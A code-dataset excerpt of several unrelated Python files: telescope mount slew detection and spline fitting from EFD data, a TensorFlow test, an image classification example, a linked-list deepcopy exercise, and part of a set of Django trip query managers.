stop_sel.sum() == 0 :\n unmatched_starts.append(starts[i])\n\n\n if len(stops) > len(starts):\n for i in range(len(stops)):\n if i == 0:\n start_sel=(starts < stops[0]) & (starts > 0)\n else: \n start_sel=(starts < stops[i]) & (starts > stops[i-1])\n if start_sel.sum()==1:\n new_stops.append(stops[i])\n new_starts.append(starts[start_sel][0])\n if start_sel.sum() > 1:\n new_stops.append(stops[i])\n new_starts.append(np.max(starts[start_sel]))\n for j in starts[start_sel]: \n if j != np.max(starts[start_sel]):\n unmatched_starts.append(j)\n if start_sel.sum() == 0 :\n unmatched_stops.append(stops[i])\n\n\n return new_starts, new_stops, unmatched_starts, unmatched_stops\n \n def savgolFilter(self, times, positions,interpPoints, window=200, deriv=1, smoothingFactor = 0.01): \n positionSpline = UnivariateSpline(times, positions, s=smoothingFactor)(interpPoints) \n derivativePoints = savgol_filter(positionSpline, window_length=window, mode=\"mirror\",\n deriv=deriv, polyorder=3, delta=(interpPoints[1]-interpPoints[0])) \n return derivativePoints#interp1d(times,derivativePoints)(interpPoints)\n\n def get_savgol_splines(self,times, positions, interpPoints):\n posSpline = UnivariateSpline(times, positions, s=0)(interpPoints)\n velSpline = self.savgolFilter(times, positions, interpPoints, window=self.window, deriv=1, smoothingFactor=self.smoothingFactor)\n accSpline = self.savgolFilter(times, positions, interpPoints, window=self.window, deriv=2, smoothingFactor=self.smoothingFactor)\n jerkSpline = self.savgolFilter(times, positions, interpPoints, window=self.window, deriv=3, smoothingFactor=self.smoothingFactor)\n return posSpline, velSpline, accSpline, jerkSpline\n \n def get_univariate_splines(self, times, positions, velocities, interpPoints, kernel):\n \"\"\"\n \"\"\"\n try:\n posSpline = UnivariateSpline(times, position, s=0)\n except:\n #if there are duplicate time measurements remove them (this occured on \n # 23/11/22-23 and 21-22)\n times, indexes=np.unique(times, return_index=True)\n positions=positions[indexes]\n velocities=velocities[indexes]\n \n posSpline = UnivariateSpline(times, positions, s=0)\n velSpline1 = UnivariateSpline(times, velocities, s=0) \n \n # Now smooth the derivative before differentiating again\n smoothedVel = np.convolve(velSpline1(interpPoints), kernel, mode='same')\n velSpline = UnivariateSpline(interpPoints, smoothedVel, s=self.smoothingFactor)\n accSpline1 = velSpline.derivative(n=1)\n smoothedAcc = np.convolve(accSpline1(interpPoints), kernel, mode='same')\n # Now smooth the derivative before differentiating again\n accSpline = UnivariateSpline(interpPoints, smoothedAcc, s=self.smoothingFactor)\n jerkSpline = accSpline.derivative(n=1)\n return posSpline(interpPoints), velSpline(interpPoints), accSpline(interpPoints), jerkSpline(interpPoints)\n \n \n def fit_slew_profiles(self,index):\n \"\"\"\n givien identified slews and encoder data, splines for Velocity,\n Acceleration and Jerk are calculated. \n \n kernel_size: size of smoothing kernel\n buffer: buffer in seconds to add onto the slew time\n smoothingFactor: used in spline creation\n \n \"\"\"\n kernel=np.ones(self.kernel_size)/self.kernel_size\n selAz=(self.query_dict[\"az\"]['timestamp'] > (self.slew_dict[\"slew_start_times\"][index] - self.buffer)) \n selAz&=(self.query_dict[\"az\"]['timestamp'] < (self.slew_dict[\"slew_stop_times\"][index] + self.buffer)) \n \n selEl= (self.query_dict[\"el\"]['timestamp'] > (self.slew_dict[\"slew_start_times\"][index] - self.buffer)) \n selEl&= (self.query_dict[\"el\"]['timestamp'] < (self.slew_dict[\"slew_stop_times\"][index] + self.buffer)) \n \n if selAz.sum() ==0 | selEl.sum() ==0 :\n print(f\"slew {index} no values\")\n return pd.DataFrame(), pd.DataFrame(), pd.DataFrame()\n \n plotAz = self.query_dict[\"az\"][selAz]\n plotEl = self.query_dict[\"el\"][selEl]\n \n ss_time = Time(self.slew_dict[\"slew_start_times\"][index], format='unix_tai', scale='utc')\n ip_time = Time(self.slew_dict[\"slew_stop_times\"][index], format='unix_tai', scale='utc')\n \n if (ip_time - ss_time).sec > 99:\n print(f\"slew {index} is {(ip_time - ss_time).sec:0.0f} seconds long\")\n return pd.DataFrame(), pd.DataFrame(), pd.DataFrame()\n \n # Now calculates the spline fit and differentiate it to get the acceleration and jerk\n azPs = plotAz['actualPosition'].values\n azVs = plotAz['actualVelocity'].values\n azXs = plotAz['timestamp'].values - plotAz['timestamp'].values[0] \n elPs = plotEl['actualPosition'].values\n elVs = plotEl['actualVelocity'].values\n elXs = plotEl['timestamp'].values - plotEl['timestamp'].values[0]\n plotStart = azXs[0] + 1.0\n plotEnd = azXs[-1] - 1.0\n \n npoints=int(np.max([np.round((azXs[-1]-azXs[0])/0.01/1e3,0)*1e3, 4000]))\n plotAzXs = np.linspace(azXs[0], azXs[-1], npoints)\n plotElXs = np.linspace(elXs[0], elXs[-1], npoints)\n if self.fit_method==\"splines\":\n azPosSpline, azVelSpline, azAccSpline, azJerkSpline = self.get_univariate_splines(azXs, azPs, azVs, plotAzXs, kernel) # times, positions, velocities, interpPoints, kernel\n elPosSpline, elVelSpline, elAccSpline, elJerkSpline = self.get_univariate_splines(elXs, elPs, elVs, plotElXs, kernel)\n elif self.fit_method==\"savgol\":\n azPosSpline, azVelSpline, azAccSpline, azJerkSpline = self.get_savgol_splines(azXs, azPs, plotAzXs)\n elPosSpline, elVelSpline, elAccSpline, elJerkSpline = self.get_savgol_splines(elXs, elPs, plotElXs)\n else: \n print(f\"bad fit_method: {self.fit_method}\")\n exit\n \n spline_frame=pd.DataFrame({\n \"slew_index\":index, \n \"day\":self.day,\n \"azZeroTime\":plotAz['timestamp'].values[0],\n \"elZeroTime\":plotEl['timestamp'].values[0],\n \"azTime\":plotAzXs,\n \"azPosition\":azPosSpline,\n \"azVelocity\":azVelSpline, \n \"azAcceleration\":azAccSpline,\n \"azJerk\":azJerkSpline,\n \"elZeroTime\":plotEl['timestamp'].values[0],\n \"elTime\":plotElXs,\n \"elPosition\":elPosSpline,\n \"elVelocity\":elVelSpline, \n \"elAcceleration\":elAccSpline,\n \"elJerk\":elJerkSpline}\n )\n if self.return_meas:\n az_measurement_frame=pd.DataFrame({\n \"slew_index\":index, \n \"day\":self.day,\n \"azZeroTime\":plotAz['timestamp'].values[0],\n \"az_times\":azXs,\n \"azPositionMeas\":azPs,\n \"azVelocityMeas\":azVs,\n })\n el_measurement_frame=pd.DataFrame({\n \"slew_index\":index, \n \"day\":self.day,\n \"elZeroTime\":plotEl['timestamp'].values[0],\n \"el_times\":elXs,\n \"elPositionMeas\":elPs,\n \"elVelocityMeas\":elVs,\n })\n return spline_frame, az_measurement_frame, el_measurement_frame\n else:\n return spline_frame\n\nclass create_slew_splines_method_1(create_slew_splines):\n def get_slew_times(self):\n \"Use log events to identify telescope slews\"\n # Find all of the time stamps\n\n # Start with start_slew times\n \n azs = self.query_dict[\"az_track\"].values[:,0]\n els = self.query_dict[\"el_track\"].values[:,0]\n az_times = self.query_dict[\"az_track\"].values[:,1]\n el_times = self.query_dict[\"el_track\"].values[:,1]\n az_starts = []\n el_starts = []\n \n \n slew_times_1 = []\n \n for i in range(1,len(self.query_dict[\"az_track\"])):\n #command_trackTarget\n az_shift = abs(azs[i] - azs[i-1])\n if (az_shift > 0.1):\n az_starts.append(az_times[i])\n\n for i in range(1,len(self.query_dict[\"el_track\"])):\n #command_trackTarget\n el_shift = abs(els[i] - els[i-1])\n if (el_shift > 0.1):\n el_starts.append(el_times[i])\n az_starts=np.array(az_starts)\n el_starts=np.array(el_starts)\n # Now in position timestamps\n\n \n az_stops = self.query_dict[\"az_pos\"].values[:,1]\n el_stops = self.query_dict[\"el_pos\"].values[:,1]\n\n az_starts, az_stops, az_unmatched_starts, az_unmatched_stops = self.get_slew_pairs(az_starts, az_stops)\n el_starts, el_stops, el_unmatched_starts, el_unmatched_stops = self.get_slew_pairs(el_starts, el_stops)\n \n slew_starts=az_starts\n slew_stops=az_stops\n \n for i in range(len(el_starts)):\n # get closest indentified slew \n min_index=np.argmin(abs(slew_starts-el_starts[i]))\n start_min=slew_starts[min_index]\n stop_min=slew_stops[min_index]\n # see if we need to update the slew list\n if (el_starts[i] < start_min) & (el_stops[i] < start_min):\n # new slew\n slew_starts=np.append(slew_starts,el_starts[i])\n slew_stops=np.append(slew_stops,el_stops[i])\n elif (el_starts[i] > stop_min) & (el_stops[i] > stop_min) & \\\n (el_starts[i] < slew_starts[np.min([min_index+1, len(slew_starts)-1], )]):\n # also a new slew\n slew_starts=np.append(slew_starts,el_starts[i])\n slew_stops=np.append(slew_stops,el_stops[i])\n elif (el_starts[i] <= start_min) & (el_stops[i] <= stop_min):\n # replace start\n slew_starts[min_index] = el_starts[i]\n elif (el_starts[i] >= start_min) & (el_stops[i] >= stop_min):\n # replace stop\n slew_stops[min_index] = el_stops[i]\n \n # truncating obviously too long slews\n long_slew_start=[]\n long_slew_stop=[]\n for i in range(len(slew_starts)):\n if slew_stops[i] - slew_starts[i] > 100:\n slew_stops[i] = slew_starts[i] + 100.0\n long_slew_start.append(slew_starts[i])\n long_slew_stop.append(slew_stops[i])\n \n print(f\"identified {len(slew_starts)} slews\")\n print(f\"{len(long_slew_start)} of these slews are unreasonably long\"\n \"and truncated to 100s\")\n unmatched_az_len=len(az_unmatched_starts)+len(az_unmatched_stops)\n unmatched_el_len=len(el_unmatched_starts)+len(el_unmatched_stops)\n if unmatched_az_len > 0:\n print(f\"{unmatched_az_len} unmatched az peaks\")\n if unmatched_el_len > 0:\n print(f\"{unmatched_el_len} unmatched el peaks\")\n slew_dict={\n \"slew_start_times\": slew_starts,\n \"slew_stop_times\": slew_stops\n }\n unmatched_slew_dict={\"az_start\":az_unmatched_starts, \n \"az_stop\":az_unmatched_stops,\n \"el_start\":el_unmatched_starts,\n \"el_stop\":el_unmatched_stops,\n \"long_slew_start\":long_slew_start,\n \"long_slew_stop\":long_slew_stop}\n return slew_dict, unmatched_slew_dict\n \n async def get_data(self):\n \"Extract all the MTMount data from the EFD and save to parquet files\"\n \n # Get EFD client\n client = EfdClient('usdf_efd')#vandv.efd.create_efd_client()\n \n self.query_dict={}\n print(\"starting query\")\n # Query the EFD to extract the MTMount Azimuth data and wirte to csv\n self.query_dict[\"az\"] = await client.select_time_series('lsst.sal.MTMount.azimuth', \\\n ['actualPosition', 'actualVelocity', \"timestamp\"], self.start_time, self.end_time)\n self.query_dict[\"el\"] = await client.select_time_series('lsst.sal.MTMount.elevation', \\\n ['actualPosition', 'actualVelocity', \"timestamp\"], self.start_time, self.end_time) \n self.query_dict[\"az_track\"] = await client.select_time_series('lsst.sal.MTMount.command_trackTarget', \\\n ['azimuth', 'taiTime'], start_time, end_time)\n self.query_dict[\"el_track\"] = await client.select_time_series('lsst.sal.MTMount.command_trackTarget', \\\n ['elevation', 'taiTime'], start_time, end_time) \n \n self.query_dict[\"az_pos\"] = await client.select_time_series('lsst.sal.MTMount.logevent_azimuthInPosition', \\\n ['inPosition', 'private_kafkaStamp'], start_time, end_time)\n \n self.query_dict[\"el_pos\"] = await client.select_time_series('lsst.sal.MTMount.logevent_elevationInPosition', \\\n ['inPosition', 'private_kafkaStamp'], start_time, end_time)\n if (\"inPosition\" not in self.query_dict[\"az_pos\"].keys()) | \\\n (\"inPosition\" not in self.query_dict[\"el_pos\"].keys()):\n print(\"no slews\")\n return\n \n self.query_dict[\"az_pos\"] = self.query_dict[\"az_pos\"][self.query_dict[\"az_pos\"]['inPosition']] # Select only the True values\n self.query_dict[\"el_pos\"] = self.query_dict[\"el_pos\"][self.query_dict[\"el_pos\"]['inPosition']] # Select only the True values\n \n \n if ('actualVelocity' not in self.query_dict[\"az\"].keys()) | \\\n ('actualVelocity' not in self.query_dict[\"el\"].keys()):\n print(\"no data\")\n return None\n print(\"query done\")\n \n # get dictionary of matched slews\n self.slew_dict, unmatched_slew_dict=self.get_slew_times()\n \n # save unmatched slews\n if np.max([len(unmatched_slew_dict[i]) for i in unmatched_slew_dict.keys()]) > 0:\n with open(os.path.join(output_dir,\n f\"unmatched_slews_{self.start_time}.json\"), \"w\") as outfile:\n json.dump(unmatched_slew_dict, outfile)\n \n spline_frames=[] \n az_measurement_frames=[]\n el_measurement_frames=[]\n if len(self.slew_dict[\"slew_start_times\"]) == 0:\n return\n for index in range(len(self.slew_dict[\"slew_start_times\"])):\n spl_frame,az_meas_frame, el_meas_frame=self.fit_slew_profiles(index)\n spline_frames.append(spl_frame)\n az_measurement_frames.append(az_meas_frame)\n el_measurement_frames.append(el_meas_frame)\n spline_frame=pd.concat(spline_frames)\n az_measurement_frame=pd.concat(az_measurement_frames)\n el_measurement_frame=pd.concat(el_measurement_frames)\n \n # Write dataframes to parquet files in data dir. \n #Using parquet preserves the column data types\n az_measurement_frame.to_parquet(os.path.join(output_dir,\n f\"az_measurement_frame-{start_time}--{end_time}.parquet\"))\n el_measurement_frame.to_parquet(os.path.join(output_dir, \n f\"el_measurement_frame-{start_time}--{end_time}.parquet\"))\n if self.fit_method == \"splines\":\n spline_frame.to_parquet(os.path.join(output_dir, \n f\"spline_frame-{start_time}--{end_time}.parquet\"))\n elif self.fit_method == \"savgol\":\n spline_frame.to_parquet(os.path.join(output_dir, \n f\"savgol_frame-{start_time}--{end_time}.parquet\"))\n\n \nclass create_slew_splines_method_2(create_slew_splines):\n def get_slew_times(self):\n \"\"\"use edge detection kernel to identify telesope slews\"\"\"\n smooth_kernel=np.ones(self.kernel_size)/self.kernel_size\n edge_kernel=np.concatenate([1 * np.ones(int(self.kernel_size/2)), -1 * np.ones(int(self.kernel_size/2))])/self.kernel_size\n \n #initially smooth and get speed not velocity\n az_smooth1=abs(np.convolve(self.query_dict[\"az\"]['actualVelocity'], smooth_kernel, mode='same'))\n el_smooth1=abs(np.convolve(self.query_dict[\"el\"]['actualVelocity'], smooth_kernel, mode='same'))\n \n #convolve edge detection kernel\n az_edge=np.convolve(az_smooth1, edge_kernel, mode='same')\n el_edge=np.convolve(el_smooth1, edge_kernel, mode='same')\n \n az_starts=self.query_dict[\"az\"][\"timestamp\"][find_peaks(az_edge, height=0.02)[0]].values \n az_stops=self.query_dict[\"az\"][\"timestamp\"][find_peaks(az_edge * -1.0, height=0.02)[0]].values\n \n el_starts=self.query_dict[\"el\"][\"timestamp\"][find_peaks(el_edge, height=0.02)[0]].values\n el_stops=self.query_dict[\"el\"][\"timestamp\"][find_peaks(el_edge * -1.0, height=0.02)[0]].values\n \n if (len(az_starts) == 0) | (len(el_starts) == 0):\n print(\"no slews\")\n slew_dict={\n \"slew_start_times\": [],\n \"slew_stop_times\": []\n }\n unmatched_slew_dict={\"az_start\":[], \n \"az_stop\":[],\n \"el_start\":[],\n \"el_stop\":[]}\n return slew_dict, unmatched_slew_dict\n \n \n az_starts, az_stops, az_unmatched_starts, az_unmatched_stops = self.get_slew_pairs(az_starts, az_stops)\n el_starts, el_stops, el_unmatched_starts, el_unmatched_stops = self.get_slew_pairs(el_starts, el_stops)\n \n slew_starts=az_starts\n slew_stops=az_stops\n \n for i in range(len(el_starts)):\n # get closest indentified slew \n min_index=np.argmin(abs(slew_starts-el_starts[i]))\n start_min=slew_starts[min_index]\n stop_min=slew_stops[min_index]\n # see if we need to update the slew list\n if (el_starts[i] < start_min) & (el_stops[i] < start_min):\n # new slew\n slew_starts=np.append(slew_starts,el_starts[i])\n slew_stops=np.append(slew_stops,el_stops[i])\n elif (el_starts[i] > stop_min) & (el_stops[i] > stop_min) & \\\n (el_starts[i] < slew_starts[np.min([min_index+1, len(slew_starts)-1], )]):\n # also a new slew\n slew_starts=np.append(slew_starts,el_starts[i])\n slew_stops=np.append(slew_stops,el_stops[i])\n elif (el_starts[i] <= start_min) & (el_stops[i] <= stop_min):\n # replace start\n slew_starts[min_index] = el_starts[i]\n elif (el_starts[i] >= start_min) & (el_stops[i] >= stop_min):\n # replace stop\n slew_stops[min_index] = el_stops[i]\n \n # truncating obviously too long slews\n long_slew_start=[]\n long_slew_stop=[]\n for i in range(len(slew_starts)):\n if slew_stops[i] - slew_starts[i] > 100:\n slew_stops[i] = slew_starts[i] + 100.0\n long_slew_start.append(slew_starts[i])\n long_slew_stop.append(slew_stops[i])\n \n print(f\"identified {len(slew_starts)} slews\")\n print(f\"{len(long_slew_start)} of these slews are unreasonably long\"\n \"and truncated to 100s\")\n unmatched_az_len=len(az_unmatched_starts)+len(az_unmatched_stops)\n unmatched_el_len=len(el_unmatched_starts)+len(el_unmatched_stops)\n if unmatched_az_len > 0:\n print(f\"{unmatched_az_len} unmatched az peaks\")\n if unmatched_el_len > 0:\n print(f\"{unmatched_el_len} unmatched el peaks\")\n slew_dict={\n \"slew_start_times\": slew_starts,\n \"slew_stop_times\": slew_stops\n }\n unmatched_slew_dict={\"az_start\":az_unmatched_starts, \n \"az_stop\":az_unmatched_stops,\n \"el_start\":el_unmatched_starts,\n \"el_stop\":el_unmatched_stops,\n \"long_slew_start\":long_slew_start,\n \"long_slew_stop\":long_slew_stop}\n return slew_dict, unmatched_slew_dict\n \n async def get_data(self):\n \"Extract all the MTMount data from the EFD and save to parquet files\"\n \n # Get EFD client\n client = EfdClient('usdf_efd')#vandv.efd.create_efd_client()\n \n self.query_dict={}\n print(\"starting query\")\n # Query the EFD to extract the MTMount Azimuth data and wirte to csv\n self.query_dict[\"az\"] = await client.select_time_series('lsst.sal.MTMount.azimuth', \\\n ['actualPosition', 'actualVelocity', \"timestamp\"], self.start_time, self.end_time)\n self.query_dict[\"el\"] = await client.select_time_series('lsst.sal.MTMount.elevation', \\\n ['actualPosition', 'actualVelocity', \"timestamp\"], self.start_time, self.end_time) \n print(\"query done\")\n if ('actualVelocity' not in self.query_dict[\"az\"].keys()) | \\\n ('actualVelocity' not in self.query_dict[\"el\"].keys()):\n print(\"no data\")\n return None\n\n \n # get dictionary of matched slews\n self.slew_dict, unmatched_slew_dict=self.get_slew_times()\n \n # save unmatched slews\n if np.max([len(unmatched_slew_dict[i]) for i in unmatched_slew_dict.keys()]) > 0:\n with open(os.path.join(output_dir,\n f\"unmatched_slews_{self.start_time}.json\"), \"w\") as outfile:\n json.dump(unmatched_slew_dict, outfile)\n \n spline_frames=[] \n az_measurement_frames=[]\n el_measurement_frames=[]\n if len(self.slew_dict[\"slew_start_times\"]) == 0:\n return\n for index in range(len(self.slew_dict[\"slew_start_times\"])):\n spl_frame,az_meas_frame, el_meas_frame=self.get_splines(index)\n spline_frames.append(spl_frame)\n az_measurement_frames.append(az_meas_frame)\n el_measurement_frames.append(el_meas_frame)\n spline_frame=pd.concat(spline_frames)\n az_measurement_frame=pd.concat(az_measurement_frames)\n el_measurement_frame=pd.concat(el_measurement_frames)\n \n # Write dataframes to parquet files in data dir. \n #Using parquet preserves the column data types\n az_measurement_frame.to_parquet(os.path.join(output_dir,\n f\"az_measurement_frame-{start_time}--{end_time}.parquet\"))\n el_measurement_frame.to_parquet(os.path.join(output_dir, \n f\"el_measurement_frame-{start_time}--{end_time}.parquet\"))\n if self.fit_method == \"splines\":\n spline_frame.to_parquet(os.path.join(output_dir, \n f\"spline_frame-{start_time}--{end_time}.parquet\"))\n elif self.fit_method == \"savgol\":\n spline_frame.to_parquet(os.path.join(output_dir, \n f\"savgol_frame-{start_time}--{end_time}.parquet\"))\n\ndef get_arguments():\n \"\"\"Get user supplied arguments using the argparse library.\"\"\"\n \n parser = argparse.ArgumentParser(\"LVV-TXXX data from the EFD\") \n parser.add_argument(\"-d\",\"--date\", \n help=\"2023-03-24\")\n #\"start time: ISO format if time_type is tai or unix; \n # float if time_type is unix_tai\")\n parser.add_argument(\"-w\",\"--window\", \n help=\"end time is start time in hours\")\n parser.add_argument(\"-t\",\"--time\", \n help=\"exact start time of window\", \n default=\"14:01:00\")\n parser.add_argument(\"-sm\",\"--slew_method\", \n help=\"which method to use for slew identification\", \n default=2)\n parser.add_argument(\"-fm\",\"--fit_method\", \n help=\"which method to use for slew fits\", \n default=\"splines\")\n parser.add_argument('-f','--force',action='store_true',\n help='overwrite outputs if they exist')\n \n args = parser.parse_args()\n\n date=args.date\n hour=args.time\n slew_method=int(args.slew_method)\n fit_method=args.fit_method\n force=args.force\n \n start_time_str=f\"{date}T{hour}\"\n start_time = astropy.time.Time(start_time_str, scale='utc')\n window=TimeDelta((args.window * u.hr).to(u.s), format='sec')\n end_time = start_time + window\n \n \n \n return start_time, end_time,slew_method, fit_method,force\n \nif __name__ == '__main__':\n # Get time range from inputs\n start_time, end_time, slew_method, fit_method, force = get_arguments()\n print(start_time, end_time)\n # Setup output directory for data\n output_dir = f\"./data/method_{slew_method}/\"\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n if fit_method == \"splines\":\n output_spline_name=os.path.join(\n output_dir, \n f\"spline_frame-{start_time}--{end_time}.parquet\"\n )\n elif fit_method == \"savgol\":\n output_spline_name=os.path.join(\n output_dir, \n f\"savgol_frame-{start_time}--{end_time}.parquet\"\n )\n else: \n print(f\"bad fit_method: {fit_method}\")\n exit\n \n output_az_measurement_name=os.path.join(\n output_dir, \n f\"az_measurement_frame-{start_time}--{end_time}.parquet\"\n )\n output_el_measurement_name=os.path.join(\n output_dir, \n f\"el_measurement_frame-{start_time}--{end_time}.parquet\"\n )\n run_bool=os.path.exists(output_spline_name)\n run_bool&=os.path.exists(output_az_measurement_name)\n run_bool&=os.path.exists(output_el_measurement_name)\n if run_bool and not force:\n print(\"output already found\")\n else: \n if slew_method==2:\n createSlewSplines=create_slew_splines_method_2(start_time=start_time,\n end_time=end_time,\n force=force,\n output_dir=output_dir,\n fit_method=fit_method)\n if slew_method==1:\n createSlewSplines=create_slew_splines_method_1(start_time=start_time,\n end_time=end_time,\n force=force,\n output_dir=output_dir,\n fit_method=fit_method)\n \n \n asyncio.run(createSlewSplines.get_data()) \n","repo_name":"psferguson/psferguson_sitcom","sub_path":"projects/tma/scripts/create_slew_profiles_old.py","file_name":"create_slew_profiles_old.py","file_ext":"py","file_size_in_byte":30933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74114629682","text":"import tensorflow as tf\nimport numpy as np\n\ny = np.array([[1, 2, 3],[2,3,4]])\n# sum_result = tf.reduce_mean(tf.reduce_sum(y, reduction_indices=[1]))\nsum_result = tf.reduce_mean(23.3)\n\nsess = tf.InteractiveSession()\ninit = tf.initialize_all_variables()\nsess.run(init)\n\nprint('sum_result=', sum_result.eval())\n","repo_name":"2033329616/tensorflow_project","sub_path":"自编码器和多层感知机/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28410049585","text":"import cv2\nfrom webapp.webapp.core.classification.classification_model import ClassificationModel\n\n\n# config\nclassification_config_file_path = \"/home/lecun/anibal/github/deep-learning-backend/webapp/webapp/core/models\" \\\n \"/config_imagenet_efficientnet_v2_imagenet21k_s_classification_2.json\"\nimage_path = \"/home/lecun/anibal/github/deep-learning-backend/webapp/webapp/core/test_images/crab.jpg\"\n\n# Load model\nmy_model_1 = ClassificationModel()\nmy_model_1.load_model(classification_config_file_path)\n\n# Load image\nimg = cv2.imread(image_path)\n\n# Evaluate model\npredictions = my_model_1.eval_model(img)\npredictions.print_classification_predictions()\n\n# Display image\ncv2.imshow(\"img\", img)\ncv2.waitKey(0)\n","repo_name":"anibalfuentesjara/deep-learning-backend","sub_path":"webapp/webapp/core/examples/classification_example.py","file_name":"classification_example.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16738209448","text":"# %%\nfrom typing import MutableSequence, Optional, Union\n#%%\nclass Node:\n def __init__(self,data) -> None:\n self.data = data\n self.next:Optional[Node]= None\n self.random:Optional[Node]= None\n def __repr__(self) -> str:\n return str(self.data)\n \nclass LinkedList:\n def __init__(self,nodes:Optional[Union[MutableSequence,Node]]=None) -> None:\n self.head:Optional[Node] = None\n \n if isinstance(nodes,Node):\n self.head = nodes\n \n elif nodes is not None and nodes:\n node = Node(nodes.pop(0))\n self.head = node\n \n for ele in nodes:\n node.next = Node(ele)\n node = node.next\n \n def __repr__(self) -> str:\n node = self.head\n nodes = []\n \n while node is not None:\n nodes.append(str(node.data))\n node = node.next\n nodes.append(\"None\")\n \n return \" -> \".join(nodes)\n \n def connectRandom(self,index,to):\n node = self.head\n maxi = max(index,to)\n cur = 0\n target = self.head\n \n while node is not None and target is not None and cur= index:\n if cur < index:\n node = node.next\n if cur <= to:\n target = target.next\n # for backward connection\n else:\n if cur <= index:\n node = node.next\n if cur < to:\n target = target.next\n cur += 1\n \n if node is not None:\n print(f\"making random connection between {node} and {target}\") \n node.random = target\n \n def copy(self):\n \n node = self.head\n \n # create the dummy node\n new = Node(-1)\n tail = new\n \n while node is not None:\n tail.next = Node(node.data)\n tail = tail.next\n node = node.next\n \n return LinkedList(new.next)\n \n def deepcopy(self):\n \n \"\"\"\n Without Extra space\n \"\"\"\n \n # Shallow copy and merge\n node = self.head\n tail = node\n while tail is not None:\n dummy = Node(tail.data)\n dummy.next = tail.next\n tail.next = dummy\n # jump to next of orig\n tail = tail.next.next\n \n print(LinkedList(node))\n \n \n # make random connection to new node\n cur = node\n while cur is not None and cur.next is not None:\n #making connection\n if cur.random is not None:\n cur.next.random = cur.random.next\n cur = cur.next.next\n \n # break old and new\n old = node \n new = Node(-1)\n tail = new\n \n while old is not None and old.next is not None:\n tail.next = old.next\n old.next = old.next.next\n tail = tail.next\n old = old.next\n \n return LinkedList(new.next)\n#%% \nif __name__ == \"__main__\":\n lList1 = LinkedList([10,8,4,2,5,9,6,13,11])\n print(lList1)\n connection = [(0,3),(1,7),(2,1),(3,8),(4,6),(5,5),(6,2),(7,4),(8,7)]\n for con in connection:\n lList1.connectRandom(*con)\n print(lList1.deepcopy())\n","repo_name":"Lashi0812/DSA","sub_path":"010 LinkedList/018 DeepcopyWithoutExtraSpace.py","file_name":"018 DeepcopyWithoutExtraSpace.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17581788067","text":"import logging\nfrom datetime import datetime, timedelta\n\nfrom django.apps import apps\nfrom django.db import models\nfrom django.db.models import Case, Count, F, Q, Sum, When\nfrom django.db.models.fields import FloatField, IntegerField\nfrom django.db.models.functions import Cast, Round\nfrom django.shortcuts import get_object_or_404\nfrom django.utils import timezone\n\nlogger = logging.getLogger(__name__)\n\n\nclass PastManager(models.Manager):\n \"\"\"\n Trip Model manager to work with past trips.\n Specifically useful for generating statistics from them\n \"\"\"\n\n def get_model(self, name=None):\n return apps.get_model(\"trips\", name)\n\n def get_queryset(self):\n \"\"\"Build stats only on past trips\"\"\"\n\n qs = super().get_queryset()\n return qs.filter(departure__lt=timezone.now())\n\n def kpis(self, company_slug=None, date=None):\n \"\"\"\n Generate the KPI data for a company for a particular date.\n We need this only on past data perhaps only for yesterday's date or any\n arbitrary date to show on the company dashboard page.\n\n Key kpis are\n - Sales in $$$\n - Bookings i.e. tickets sold\n - Occupancy %\n - Num of trips done in a day\n \"\"\"\n\n Seat = self.get_model(\"Seat\")\n\n yesterday = (timezone.now() - timedelta(days=1)).date()\n date = date or yesterday\n\n logger.info(\"crunching kpis for %s %s...\" % (company_slug, date))\n\n # TODO: Review: Any seat that is not available is considered as occupied\n total = Cast(Count(\"seats\"), FloatField())\n occupied = Count(\"seats\", filter=~Q(seats__seat_status=Seat.AVAILABLE))\n\n # Find occupancy as %\n occupancy = Cast(100 * Sum(\"occupied\") / Sum(\"total\"), IntegerField())\n\n # Find revenue = price * bookings\n revenue = Cast(F(\"price\") * occupied, IntegerField())\n\n qs = self.get_queryset()\n qs = qs.filter(departure__date=date)\n qs = qs.filter(company__slug=company_slug) if company_slug else qs\n qs = qs.annotate(total=total, occupied=occupied, revenue=revenue)\n\n kpis = qs.aggregate(\n occupancy=occupancy, # <- occupancy % on avg\n bookings=Sum(\"occupied\"), # <-- Num tickets sold\n sales=Sum(\"revenue\"), # <-- Sales in $$\n trips=Count(\"id\"), # <-- Num of trips done\n )\n\n return kpis\n\n def __repr__(self):\n return \"I only show trips from the past 🔮\"\n\n\nclass FutureManager(models.Manager):\n \"\"\"\n Extra manager for Trip Model which shows only active trips\n\n A trip is active when\n - departure is in the future\n - status is set to Active\n \"\"\"\n\n def get_model(self, name=None):\n return apps.get_model(\"trips\", name)\n\n def get_queryset(self):\n logger.info(\"showing only future trips(â�°)...\")\n\n qs = super().get_queryset()\n return qs.filter(departure__gt=timezone.now())\n\n def active(self):\n logger.info(\"showing only active trips(🌳)...\")\n\n Trip = self.get_model(\"Trip\")\n return self.filter(status=Trip.ACTIVE)\n\n def search(\n self,\n origin=None,\n destination=None,\n departure=None,\n company_slug=None,\n ordering=None,\n ):\n \"\"\"\n Search only active future trips based on\n - origin\n - destination\n - departure date\n \"\"\"\n\n Location = self.get_model(\"Location\")\n Seat = self.get_model(\"Seat\")\n\n origin = get_object_or_404(Location, name=origin)\n destination = get_object_or_404(Location, name=destination)\n departure = datetime.strptime(departure, \"%d-%m-%Y\").date()\n\n logger.info(\n \"searching from:%s to:%s on:%s company:%s\"\n % (origin, destination, departure, company_slug)\n )\n\n qs = self.active()\n qs = qs.filter(origin=origin, destination=destination)\n qs = qs.filter(departure__date=departure)\n qs = qs.filter(company__slug=company_slug) if company_slug else qs\n\n availability = Count(\"seats\", filter=Q(seats__seat_status=Seat.AVAILABLE))\n qs = qs.annotate(availability=availability)\n qs = qs.select_related(\"company\", \"origin\", \"destination\")\n qs = qs.order_by(ordering) if ordering else qs\n\n return qs\n\n def for_company(self, company_slug=None, active=True):\n \"\"\"\n Build the Queryset with relevant stats for only one company\n \"\"\"\n\n Seat = self.get_model(\"Seat\")\n\n logger.info(\"showing only trips for company(🚌):%s...\" % company_slug)\n\n availability = Count(\"seats\", 